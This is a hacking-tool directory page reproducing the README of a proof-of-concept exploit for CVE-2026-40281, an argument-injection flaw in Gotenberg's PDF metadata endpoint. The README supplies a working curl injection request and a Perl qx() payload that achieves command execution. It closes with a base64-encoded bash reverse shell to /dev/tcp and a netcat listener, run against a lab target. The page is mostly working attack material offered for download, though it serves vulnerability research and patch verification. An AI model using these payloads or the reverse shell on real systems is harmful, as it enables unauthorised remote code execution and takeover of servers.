Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-40281 — Python PoC for CVE-2026-40281, an ExifTool argument injection in Gotenberg's PDF metadata write endpoint that enables file manipulation and remote command execution. | Kitploit
Tools/GitHubGitHub/rabakuku/cve-2026-40281
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubrabakuku/cve-2026-40281

CVE-2026-40281

Python PoC for CVE-2026-40281, an ExifTool argument injection in Gotenberg's PDF metadata write endpoint that enables file manipulation and remote command execution.

View Repository
1 month agoNot yet reviewed
Share

CVE-2026-40281

A Working PoC For CVE-2026-40281

Gotenberg ExifTool Argument Injection (CVE-2026-40281)

Gotenberg is a Docker-based stateless API for converting Office documents, HTML pages, Markdown files and other formats into PDFs.

Gotenberg 8.30.1 and earlier versions are vulnerable to ExifTool argument injection in the PDF metadata write endpoint. Metadata values are passed to ExifTool without filtering newline characters, allowing an unauthenticated attacker to inject additional arguments and manipulate files or execute commands. The vulnerability was fixed in 8.31.0.

References:

  • https://github.com/gotenberg/gotenberg/security/advisories/GHSA-q7r4-hc83-hf2q
  • https://nvd.nist.gov/vuln/detail/CVE-2026-40281
  • https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0
  • https://github.com/vulhub/vulhub/tree/master/gotenberg/CVE-2026-40281

Environment Setup

Execute the following command to start Gotenberg 8.30.1:

docker compose up -d

After the server starts, visit http://192.168.10.2:3000/health. A JSON response containing "status":"up" indicates that the service is ready.

Vulnerability Reproduction

Gotenberg passes arguments to ExifTool one per line through its standard input via go-exiftool. Metadata values are not sanitized, so a newline inside a value splits it into multiple arguments, letting an attacker inject arbitrary ExifTool arguments.

Before reproducing the vulnerability, use poc.py to create a minimal PDF:

python3 poc.py -o test.pdf

Then inject a newline followed by the ExifTool -FileName argument into the Title value:

curl -s -w '\nHTTP %{http_code}\n' \
    -F '[email protected];type=application/pdf' \
    --form-string 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \
    http://192.168.10.2:3000/forms/pdfengines/metadata/write

The vulnerable server returns HTTP 404 because ExifTool moves the processed PDF away from its expected path. Verify that the injected argument created /tmp/inject_proof:

docker compose exec web ls -l /tmp/inject_proof

The presence of this file confirms the argument injection. Gotenberg 8.31.0 and later reject the same request with HTTP 400.

The injected -FileName argument moved the processed PDF to /tmp/inject_proof

Using the argument injection primitive above, RCE can be achieved, for example with -Title<${PDFVersion;$_=qx(id)}. This argument uses ExifTool's -TAG<value redirection syntax: the advanced formatting feature ${PDFVersion;...} feeds the value of the PDFVersion tag (present in every valid PDF) to the arbitrary Perl expression after the semicolon, where qx() executes id and overwrites the tag value $_ with its output, so the command output is written into the Title metadata.

The metadata write endpoint returns the processed PDF in the HTTP response, and the PoC submits it to the metadata read endpoint to extract Title and obtain the command output. Besides -TAG<..., ExifTool's -if argument also executes an arbitrary Perl expression (originally used to decide whether to process a file), so commands can likewise be executed with qx() or system() inside it.

Run the PoC against the target to execute id and read its output from the returned PDF metadata:

python3 poc.py -u http://192.168.10.2:3000 -c id

Add -v to print the returned PDF. Non-printable bytes are replaced with dots.

A vulnerable server returns the command output, confirming that the command ran as the gotenberg user:

[*] Target: http://192.168.10.2:3000
[*] Command to execute on the target: id
[+] Metadata written (HTTP 200), reading back the Title of the returned PDF
[+] Command output:
    uid=1001(gotenberg) gid=1001(gotenberg) groups=1001(gotenberg),0(root)

The id command output returned from the PDF metadata

Gotenberg <= 8.30.1 — Reverse Shell


📥 Step 1 — Reverse Shell

Step 1: Encode the Bash Payload on your Kali Machine:

echo "bash -i >& /dev/tcp/192.168.40.3/1234 0>&1" | base64 -w 0

Step 2: Ensure your Listener is open:

nc -lvnp 1234

✅ Step 2 — Verify Installation

python3 poc.py -u http://192.168.10.2:3000 -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQwLjMvMTIzNCAwPiYxCg== | base64 -d | /bin/bash"

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    708
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    500
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    398
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    341
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    259
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    257

Explore all tools

Browse our collection of tools

View all tools →